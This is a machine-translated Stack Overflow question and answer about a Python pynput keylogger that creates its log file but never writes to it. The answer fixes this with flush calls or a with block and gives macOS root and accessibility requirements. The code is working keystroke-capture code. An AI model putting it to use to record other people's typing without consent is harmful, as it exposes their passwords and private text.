【问题标题】:pynput keylogger does not write to filepynput 键盘记录器不写入文件
【发布时间】:2020-04-28 01:10:53
【问题描述】:

我的键盘记录程序有问题。它必须写入文件,但它不这样做。怎么了?

程序必须听键盘并将其写入文件(之前,检查文件是否存在)。但它不会写入文件,它只会创建文件。

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

【问题讨论】:

    标签: python python-3.x keylogger pynput


    【解决方案1】:

    首先,请确保您注意到来自pynput docs 的警告:

    启动键盘侦听器可能会受到您平台上的一些限制。

    如果你像我一样使用 Mac,那么你必须这样做:

    • 该进程必须以 root 身份运行。
    • 您的应用程序必须在启用辅助设备访问权限下列入白名单。

    对于第二项,请查看相关 SO 帖子中的 these steps。

    现在,对于实际的文件写入问题,一种解决方案是在调用f.writelines 后调用f.flush(),以确保数据实际写入文件。 (有关一些解释,请参阅此相关帖子:what exactly the python's file.flush() is doing?)。我不熟悉 pynput 的底层实现,但文档说它使用线程,这似乎会影响文件 I/O。完成文件后致电f.close() 也是一个好习惯。

    from pynput import keyboard
    
    if os.path.exists("prova3.txt"):
        f = open("prova3.txt", "a")
    else:
        f = open("prova3.txt", "x")
    
    def on_press(key):
        try:
            f.writelines("///key [ {0} ] pressed ///".format(
                key.char))
        except AttributeError:
            f.writelines("///special key {0} pressed///".format(
                key))
            f.flush()
    
    def on_release(key):
        f.writelines(["///key [ {0} ] released ///".format(
            key)])
        f.flush()
    
    with keyboard.Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()
    
    f.close()
    

    另一种更好的做法是use a with statement when writing to the file。这将 f 和 pynput listener 放在同一个上下文中。通过这种方式,不需要调用flush(但如果你愿意,你仍然可以)。

    from pynput import keyboard
    
    with open("prova3.txt", "a") as f:
        def on_press(key):
            try:
                f.writelines("///key [ {0} ] pressed ///".format(
                    key.char))
            except AttributeError:
                f.writelines("///special key {0} pressed///".format(
                    key))
    
        def on_release(key):
            f.writelines(["///key [ {0} ] released ///".format(
                key)])
    
        with keyboard.Listener(
                on_press=on_press,
                on_release=on_release) as listener:
            listener.join()
    

    【讨论】:

      猜你喜欢
      • 2020-12-15
      • 1970-01-01
      • 1970-01-01
      • 2022-12-02
      • 2021-02-11
      • 2020-07-17
      • 1970-01-01
      • 2015-12-29
      • 2019-02-13
      相关资源
      最近更新 更多